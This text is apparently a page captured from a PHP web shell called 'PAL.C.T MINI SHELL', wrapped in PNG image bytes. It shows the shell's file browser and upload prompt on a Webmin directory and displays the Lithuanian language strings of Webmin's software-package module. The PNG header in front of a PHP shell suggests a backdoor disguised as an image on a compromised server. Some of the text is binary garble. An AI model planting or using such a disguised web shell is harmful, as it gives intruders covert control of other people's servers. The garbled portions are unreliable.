php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/software/lang/
upload
files >> //usr/libexec/webmin/software/lang/lt.auto

index_title=Programinės įrangos paketai
index_installed=Įdiegti paketai
index_close=Uždarykite viską.
index_open=Atidaryti visus.
index_search=Ieškokite paketo:
index_install=Įdiekite naują paketą
index_installmsg=Pasirinkite vietą, kur norite įdiegti naują $1 paketą iš ..
index_local=Iš vietinės bylos
index_uploaded=Iš įkelto failo
index_ftp=Iš ftp arba http URL
index_installok=Diegti
index_ident=Nurodykite failą
index_identmsg=Įveskite komandą arba failo kelio pavadinimą, kad galėtumėte ieškoti $1 duomenų bazėje.
index_identok=Ieškoti:
index_all=Visi paketai
index_return=modulio rodyklė
index_treturn=pakuotės medis
index_tree=Pakuotės medis
index_epackagecmd=$1 paketo sistemai reikalinga komanda $2 
index_eupdatecmd=$1 atnaujinimo sistemai reikalinga komanda $2 
index_epackagecheck=Pasirinkta paketo tvarkymo sistema netinkama: $1. <br>Jums gali reikėti pasirinkti kitą sistemą<a href='$2'> modulio konfigūracijos </a> puslapyje.
index_eupdatecheck=Pasirinkta atnaujinimo sistema negalioja: $1. <br>Jums gali reikėti pasirinkti kitą atnaujinimo metodą<a href='$2'> modulio konfigūracijos </a> puslapyje.
index_echeckpackage=Nepavyko aptikti jokios pakuotės sistemos!
index_echeckupdate=Neaptikta jokia atnaujinimo sistema!
index_filter=Filtruoti pakuotes
index_filterclear=Išvalyti filtrą
index_filtered=Rodomi <tt>$1</tt> paketai iš <tt>$2</tt>

search_title=Pakuotės paieška
search_nomatch=Nei vienas paketas neatitiko $1 
search_none=Nė vienas
search_desc=apibūdinimas
search_class=Klasė
search_pack=Pakuotė
search_match=Paketai, atitinkantys $1 
search_return=Paieškos rezultatai
search_esearch=Jūs nieko neįvedėte ieškoti!
search_delete=Pašalinkite pasirinktus paketus
search_selall=Pasirinkti viską
search_invert=Apverskite pasirinkimą

edit_title=Redaguoti paketą
edit_details=Informacija apie paketą
edit_desc=apibūdinimas
edit_pack=Pakuotė
edit_class=Klasė
edit_none=Nė vienas
edit_ver=Versija
edit_vend=Pardavėjas
edit_arch=Architektūra
edit_inst=Įdiegta
edit_list=Failų sąrašas
edit_listdesc=Rodyti visus šio paketo failus ir jų dabartinę patvirtinimo būseną.
edit_uninst=Pašalinti
edit_uninstdesc=Pašalinkite šį paketą iš savo sistemos.
edit_return=pakuotės informacija
edit_egone=Paketas nebeįdiegtas

list_title=Pakuotės failai
list_files=$1 paketo failai
list_path=Kelias
list_owner=Savininkas
list_group=Grupė
list_type=Tipas
list_size=Dydis
list_status=Statusas
list_ok=Gerai
list_view=(Žiūrėti)
list_eview=Nepavyko atidaryti $1 : $2 

delete_err=Nepavyko ištrinti paketo $1 
delete_epack=Paketas $1 neegzistuoja
delete_title=Ištrinti paketą
delete_rusure=Ar tikrai norite ištrinti paketą $1 ? Iki $2 failų ($3) bus ištrinti visam laikui.
delete_rusure2=Ar tikrai norite ištrinti paketą $1 ?
delete_ok=Ištrinti
delete_nodeps=Ignoruoti priklausomybes?
delete_noscripts=Praleisti scenarijų pašalinimą?
delete_efile=Netinkamas ištrinti laikinasis failas
delete_purge=Išvalyti konfigūracijos failus?
delete_depstoo=Pašalino ir nenaudojamas priklausomybes?

file_title=Informacija apie bylą
file_notfound=Informacijos apie $1 nėra
file_path=Kelias
file_type=Tipas
file_perms=Leidimai
file_owner=Savininkas
file_group=Grupė
file_size=Dydis
file_link=Nuoroda į
file_pack=Pakuotė
file_class=Klasė
file_desc=apibūdinimas
file_none=Nė vienas

install_err=Nepavyko įdiegti paketo
install_elocal=Vietinė byla nepateikta
install_elocal2=„$1“ neegzistuoja
install_eupload=Jūsų naršyklė nepalaiko failų įkėlimo
install_eurl=Nesuprantamas URL „$1“
install_eupdate=Neįvestas joks diegimo paketas
install_edir=Netinkamas $1 katalogas
install_ezip=Netinkamas suspaustas ar suglaudintas $1 failas
install_efile=Netinkamas $1 failas
install_title=Įdiekite paketą
install_header=Įdiekite paketą
install_packs=Diegiamas paketas (-ai)
install_ok=Diegti

do_err=Nepavyko įdiegti paketo $1 
do_title=Įdiekite paketą
do_efailed=Įdiegti nepavyko : $1 
do_efailedmsg1=Galite pabandyti įdiegti dar kartą, grįždami į ankstesnį puslapį ir pasirinkę skirtingas diegimo parinktis.
do_efailedmsg2=Kitu atveju <a href='$1'>spustelėkite čia, norėdami ištrinti laikiną paketo failą</a>, kad sutaupytumėte vietos diske.
do_success=$1 paketas buvo sėkmingai įdiegtas
do_details=Informacija apie paketą
do_desc=apibūdinimas
do_class=Klasė
do_pack=Pakuotė
do_ver=Versija
do_vend=Pardavėjas
do_arch=Architektūra
do_inst=Įdiegta
do_none=Nė vienas
do_files=Pakuotės failai

pkgadd_root=Šaknies katalogas
pkgadd_eroot=Šakninis katalogas '$1' neegzistuoja
pkgadd_unknown=Nežinoma
pkgadd_manager=Sistemos V paketo tvarkyklė

rpm_upgrade=Atnaujinti paketą?
rpm_replacepkgs=Perrašyti paketą?
rpm_nodeps=Ignoruoti priklausomybes?
rpm_oldpackage=Pakeisti naują versiją sena?
rpm_noscripts=Vykdyti diegimo scenarijus?
rpm_excludedocs=Įdiegti dokumentus?
rpm_replacefiles=Parašyti failus?
rpm_notriggers=Paleisti suaktyvintus scenarijus?
rpm_ignoresize=Patikrinti failų sistemos dydžius?
rpm_root=Šaknies katalogas
rpm_eroot=Šakninis katalogas '$1' neegzistuoja
rpm_search=Ieškokite rpmfind.net:
rpm_none=Nerasta jokių jūsų paiešką atitinkančių paketų.
rpm_find=Ieškoti rpmfind.net ..
rpm_findrpm=Pakuotės failo vardas
rpm_finddistro=Paskirstymas
rpm_finddesc=apibūdinimas

bsd_unknown=Nežinoma
bsd_scripts=Vykdyti prieš ir po diegimo scenarijus?
bsd_force=Priversti diegti, jei trūksta išankstinių sąlygų?
bsd_manager=$1 paketo valdytojas

slack_unclass=Kiti
slack_unknown=Nežinoma
slack_missing=Dingęs
slack_root=Šaknies katalogas
slack_eroot=Trūksta arba netinkamas šakninis katalogas
slack_manager=„Slackware“ paketo tvarkyklė
slack_edir=Trūksta „Slackware“ paketų katalogo $1 

debian_unknown=Nežinoma
debian_depends=Ignoruoti priklausomybės problemas?
debian_conflicts=Ignoruoti paketų konfliktus?
debian_overwrite=Parašyti failus iš kitų paketų?
debian_downgrade=Pakeisti naujesnį paketą į seną?
debian_manager=„Debian DPKG“

log_install_package=Įdiegta pakuotė $1 
log_install_apt_l=Įdiegtas paketas (-ai) $1 iš APT
log_install_apt=Įdiegtas $2 paketas (-ai) iš APT
log_install_yum_l=Įdiegtas paketas (-ai) $1 iš YUM
log_install_yum=„YUM“ įdiegė $2 paketą (-us)
log_install_rhn_l=Įdiegtas paketas (-ai) $1 iš „Redhat Network“
log_install_rhn=Įdiegtas $2 paketas (-ai) iš „Redhat Network“
log_check_apt_l=Patobulintas paketas (-ai) $1 iš APT
log_check_apt=Naujovintas $2 paketas (-ai) iš APT
log_delete=Neįdiegtas paketas $1 
log_deletes_l=Neįdiegti paketai $1 
log_deletes=Neįdiegti $1 paketai
log_urpmi_update=Atnaujinti galimi URPMI paketai
log_urpmi_upgrade=Atnaujinti įdiegti URPMI paketai
log_upgrade_yum_l=„YUM“ atnaujintas paketas (-ai) $1 
log_upgrade_yum=„YUM“ atnaujintas $2 paketas (-ai)
log_check_rhn_l=„Redhat Network“ atnaujintas paketas (-ai) $1 
log_check_rhn=Naujovintas $2 paketas (-ai) iš „Redhat Network“

rhn_input=Paketas iš „Redhat Network“
rhn_find=Ieškoti RHN ..
rhn_install=Diegiame paketą (-us) su komanda $1.
rhn_ok=.. įdiegti baigta.
rhn_failed=.. įdiegti nepavyko!
rhn_title=Pasirinkite RHN paketą
rhn_pack=Pakuotė
rhn_version=Versija
rhn_form=„Redhat“ tinklo parinktys
rhn_header=Automatinės paketo atnaujinimo parinktys
rhn_auto=Automatiškai tikrinti, ar nėra atnaujinimų?
rhn_interval=Tikrinimo intervalas
rhn_secs=minučių
rhn_apply=Išsaugoti ir pritaikyti
rhn_now=Išsaugokite ir patikrinkite dabar
rhn_err=Nepavyko išsaugoti RHN parinkčių
rhn_einterval=Trūksta arba netinkamas intervalas
rhn_einterval2=Tikrinimo intervalas turi būti bent 120 sekundžių
rhn_check=Tikrinimas, ar nėra atnaujinimų
rhn_checkdesc=Tikrinimas, ar nėra atnaujintų „Redhat“ tinklo paketų su komanda $1.
rhn_nocheck=.. paketai neatnaujinti.
rhn_proxy=Tarpinio serverio URL atsisiųsti
rhn_none=Neįgalus
rhn_eproxy=Trūksta arba netinkamas tarpinis serveris
rhn_skip=Praleisti paketų atitikimą
rhn_nonefound=Nėra atnaujinimo paketų.
rhn_name=„Redhat“ tinklas

apt_input=Pakuotė iš APT
apt_install=Diegiame paketą (-us) su komanda $1.
apt_ok=.. įdiegti baigta.
apt_failed=.. įdiegti nepavyko!
apt_form=Atnaujinkite visus paketus
apt_header=APT paketo parinktys
apt_update=Pakartotinai sinchronizuoti paketų sąrašą (<tt>atnaujinti</tt>)
apt_mode=Atnaujinimo režimas
apt_mode2=Paskirstymo atnaujinimas (<tt>upgrade-dist</tt>)
apt_mode1=Normalus atnaujinimas
apt_mode0=Neatnaujinkite
apt_sim=Parodykite tik tai, kurie paketai bus atnaujinti
apt_apply=Patobulinti dabar
apt_upgrade=Atnaujinkite visus paketus
apt_updatedesc=Pakartotinis sinchronizavimas su komanda $1.
apt_updatefailed=.. nepavyko sinchronizuoti!
apt_updateok=.. sinchronizavimas baigtas.
apt_upgradedesc=Visų paketų atnaujinimas naudojant komandą $1 ..
apt_upgradedescsim=Visų paketų atnaujinimo imitavimas su komanda $1.
apt_upgradefailed=.. atnaujinti nepavyko!
apt_upgradeok=.. atnaujinimas baigtas.
apt_search=Rasti paketus, atitinkančius :
apt_find=Ieškoti APT ..
apt_title=Ieškoti APT
apt_name=APT
apt_repo_url=Saugyklos bazinis URL
apt_repo_path=Paskirstymo kelio komponentai
apt_repo_eurl=Trūksta arba netinkamai atrodo pagrindinis URL
apt_repo_epath=Trūksta paskirstymo kelio

yum_input=Pakuotė iš YUM
yum_install=Diegiame paketą (-us) su komanda $1.
yum_ok=.. įdiegti baigta.
yum_failed=.. įdiegti nepavyko!
yum_find=Naršykite YUM ..
yum_package=Pakuotė
yum_version=Versija
yum_arch=Architektūra
yum_source=Šaltinis
yum_form=Atnaujinkite visus paketus
yum_apply=Naujovinkite visus diegimo paketus iš YUM
yum_upgrade=Atnaujinkite visus paketus
yum_upgradedesc=Visų paketų atnaujinimas naudojant komandą $1 ..
yum_upgradefailed=.. atnaujinti nepavyko!
yum_upgradeok=.. atnaujinimas baigtas.
yum_title=Naršykite YUM
yum_name=YUM
yum_enable=Įgalinti saugyklą:
yum_none=&lt;Nėra&gt;
yum_repo_id=Saugyklos ID
yum_repo_name=Saugyklos aprašymas
yum_repo_url=Pakuotės bazinis URL
yum_repo_gpg=GPG pažymėjimo failas
yum_repo_none=Nepasirašyta
yum_repo_eid=Trūksta arba netinkamas saugyklos ID - leidžiamos tik raidės ir skaičiai
yum_repo_eidclash=Saugyklos ID jau naudojamas
yum_repo_ename=Trūksta saugyklos pavadinimo
yum_repo_eurl=Trūksta arba netinkamas saugyklos URL
yum_repo_egpg=Nėra GPG sertifikato failo arba jo nėra
yum_repo_efile=Saugyklos failas jau yra!

urpmi_name=URPMI
urpmi_input=Pakuotė iš URPMI
urpmi_find=Naršykite URPMI ..
urpmi_form=Atnaujinkite visus paketus
urpmi_update=Atnaujinkite turimus URPMI paketus
urpmi_upgrade=Atnaujinkite įdiegtus URPMI paketus į naujausias versijas
urpmi_title_update=Galimų paketų atnaujinimas
urpmi_title_upgrade=Įdiegtų paketų atnaujinimas
urpmi_updatedesc=Veikia komanda $1.
uprmi_upgradefailed=.. nepavyko!
urpmi_upgradeok=.. baigta.
urpmi_install=Diegiame paketą (-us) su komanda $1.
urpmi_ok=.. įdiegti baigta.
urpmi_failed=.. įdiegti nepavyko!

rpm_missing=Dingęs
rpm_checkfail=Nepavyko patikrinti $1 
rpm_md5=MD5
rpm_fsize=failo dydis
rpm_sym=saitas
rpm_mtime=modifikavimo laikas
rpm_dev=prietaisas
rpm_user=vartotojo nuosavybė
rpm_perm=leidimus
rpm_group=grupės nuosavybė
rpm_erpm=RPM $1 nerastas : $2 

soft_reg=Įprasta byla
soft_dir=Katalogas
soft_spec=Specialioji byla
soft_sym=Simbolinis saitas
soft_hard=Kieta nuoroda
soft_edit=Redaguojamas failas
soft_efunc=Nepavyko įkelti $1 paketo sistemos funkcijų.
soft_euncompress=Failas yra suglaudintas, tačiau komanda <tt>uncompress</tt> jūsų sistemoje nerasta.
soft_euncmsg=Nepavyko išspausti failo : $1 
soft_egzip=Failas yra suglaudintas, tačiau jūsų sistemoje nerasta komandos gzip.
soft_egzmsg=Nepavyko surinkti failo : $1 

aix_unknown=Nežinoma
aix_device=Įvesties įrenginys / programinės įrangos katalogas
aix_software=PROGRAMINĖ ĮRANGA įdiegti
aix_preview=Tik APŽVALGA? (diegimo operacija NĖRA vykdoma)
aix_commit=COMMIT programinės įrangos atnaujinimai?
aix_save=IŠSAUGOTI pakeistus failus?
aix_auto=AUTOMATIŠKAI įdiegti reikalingą programinę įrangą?
aix_extend=IŠPLĖTI failų sistemas, jei reikia vietos?
aix_overwrite=Perrašyti tas pačias ar naujesnes versijas?
aix_verify=PATIKRINTI įdiegti ir patikrinti failų dydžius?
aix_include=Ar įtraukti atitinkamus KALBOS rinkinius?
aix_detail=IŠSAMI išvestis?
aix_process=Apdoroti kelis tomus?
aix_accept=PRIIMTI naujas licencijos sutartis?
aix_license=Peržiūrėti naujas LICENCIJOS sutartis?
aix_clean=Valymo diegimo klaida?
aix_manager=AIX paketo tvarkyklė

emerge_input=Iš „Portage“ saugyklos
emerge_find=Paieška ..
emerge_install=Diegiame paketą su komanda $1.
emerge_failed=.. įdiegti nepavyko!
emerge_ok=.. įdiegti baigta.
emerge_search=Ieškokite paketo:
emerge_pack=Pakuotė
emerge_class=Klasė
emerge_version=Versija
emerge_desc=apibūdinimas
emerge_none=Nė vienas paketas neatitiko jūsų paieškos.
emerge_noreplace=Pakeisti esamus paketus?
emerge_onlydeps=Įdiegti tik priklausomybes?
emerge_title=Ieškoti „Portage“
emerge_name=„Portage“

cygwin_fmissing=Trūksta failo
cygwin_lmissing=Trūksta failo, į kurį būtų nukreipta
cygwin_estat=Nepavyko įregistruoti failo: $1 
cygwin_elread=Nepavyko nuskaityti nuorodos: $1 
cygwin_elstat=Nepavyko sukonfigūruoti nuorodos: $1 
cygwin_badpostscript=Įspėjimas: neatrodo, kad šis scenarijus buvo paleistas
cygwin_pkgexists=Paketas $1 jau yra.
cygwin_warnuse=Įspėjimas: Tai nėra oficiali „Cygwin“ programinės įrangos valdymo sąsaja. Naudokite savo rizika.
cygwin_edb=Trūksta „Cygwin“ paketų duomenų bazės $1 

deletes_err=Nepavyko ištrinti paketų
deletes_enone=Nepasirinktas paketas
deletes_title=Ištrinti paketus
deletes_desc=Pašalinami paketai $1.
deletes_failed1=Nepavyko pašalinti $1 : $2 
deletes_success1=Sėkmingai pašalinta $1 
deletes_failed2=Nepavyko pašalinti : $1 
deletes_success2=.. pašalinimas baigtas.
deletes_rusure=Ar tikrai norite pašalinti paketus $1 ?
deletes_ok=Ištrinkite juos visus

csw_input=Paketas iš CSW
csw_install=Diegiame paketą (-us) su komanda $1.
csw_ok=.. įdiegti baigta.
csw_failed=.. įdiegti nepavyko!
csw_already=.. jau įdiegtas.
csw_retry=.. vėl bando ieškoti naujų priklausomybių.
csw_find=Naršykite CSW ..
csw_package=Pakuotė
csw_version=Versija
csw_title=Naršykite CSW
csw_name=CSW
csw_form=Naujovinimo paketai
csw_upgrade=Atnaujinkite visus įdiegtus paketus
csw_updatedesc=Visų įdiegtų paketų atnaujinimas naudojant komandą $1.

missing_msg=$1 paketą gali automatiškai įdiegti „Webmin“ naudodamas $2.
missing_now=Įdiegti dabar

find_title=Ieškokite paketo
find_search=Rasti paketus, atitinkančius:
find_name=vardas
find_version=Versija
find_desc=apibūdinimas
find_none=Nerasta jokių jūsų paiešką atitinkančių paketų.

msi_users=Padaryti naują programą prieinamą
msi_users0=Niekas
msi_users1=Dabartinis vartotojas
msi_users2=Visi vartotojai
msi_missing=Neegzistuoja
msi_size=Netinkamas dydis

hpux_create_target_path=Sukurti tikslo kelią?
hpux_mount_all_filesystems=Sumontuoti visas failų sistemas?
hpux_reinstall=Iš naujo įdiegti?
hpux_reinstall_files=Iš naujo įdiegti failus?
hpux_reinstall_files_use_cksum=Iš naujo įdiegti failus naudoja kontrolinę sumą?
hpux_allow_multiple_versions=Leisti kelias versijas?
hpux_defer_configure=Atidėti konfigūraciją?
hpux_autorecover_product=Autorecover produktą?
hpux_allow_downdate=Leisti atnaujinti?
hpux_allow_incompatible=Leisti nesuderinamą?
hpux_autoselect_dependencies=Automatiškai pasirinkti priklausomybes?
hpux_enforce_dependencies=Priversti priklausomybes?
hpux_enforce_scripts=Vykdyti scenarijus?
hpux_enforce_dsa=Vykdyti disko vietos analizę?
hpux_root=Šaknies katalogas

ports_install=„FreeBSD“ prievadų diegimas $1.
ports_failed=.. kai kurie uostai nepavyko
ports_ok=.. įdiegti baigta
ports_input=Pakuotė iš uostų
ports_find=Paieškos uostai
ports_name=„FreeBSD“ prievadai
ports_form=Atnaujinkite prievadų duomenų bazę
ports_apply=Atsisiųskite naujausią momentinę nuotrauką
ports_upgrade=„Ports Snapshot“ atsisiuntimas
ports_running=Veikia komanda $1.

pkg_install=„FreeBSD“ paketų $1 diegimas.
pkg_failed=.. kai kurie paketai nepavyko
pkg_ok=.. įdiegti baigta
pkg_find=Ieškoti pkgng
pkg_input=Pakuotė iš pkgng

pkgsrc_install=„Pkgsrc“ paketų diegimas $1.
pkgsrc_failed=.. kai kurie paketai nepavyko
pkgsrc_ok=.. įdiegti baigta
pkgsrc_find=Ieškoti pkgng
pkgsrc_input=Pakuotė iš pkgsrc

log_IPKG_update=Atnaujinta IPKG duomenų bazė
log_IPKG_upgrade=Atnaujinti įdiegti IPKG paketai

IPKG_name=IPKG
IPKG_input=Pakuotė iš IPKG
IPKG_find=Naršykite IPKG ..
IPKG_form=Tvarkykite IPKG paketus
IPKG_update=Atnaujinkite IPKG paketo duomenų bazę
IPKG_upgrade=Atnaujinkite įdiegtus IPKG paketus
IPKG_title_update=Atnaujinama IPKG duomenų bazė
IPKG_title_upgrade=Įdiegtų paketų atnaujinimas
IPKG_updatedesc=Veikia komanda $1.
IPKG_upgradefailed=.. nepavyko!
IPKG_upgradeok=.. baigta.
IPKG_install=Diegiame paketą (-us) su komanda $1.
IPKG_ok=.. įdiegti baigta.
IPKG_failed=.. įdiegti nepavyko!
IPKG_index_tree=Tvarkykite IPKG paketus
IPKG_install_package=Diegti
IPKG_install_packagedesc=Įdiekite šį paketą savo sistemoje
IPKG_noupgrade=Nieko nereikia atnaujinti
IPKG-edit_title=Tvarkyti IPKG paketą
IPKG_update_avail=Galimas atnaujinimas:
IPKG_not_installed=Paketas neįdiegtas
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`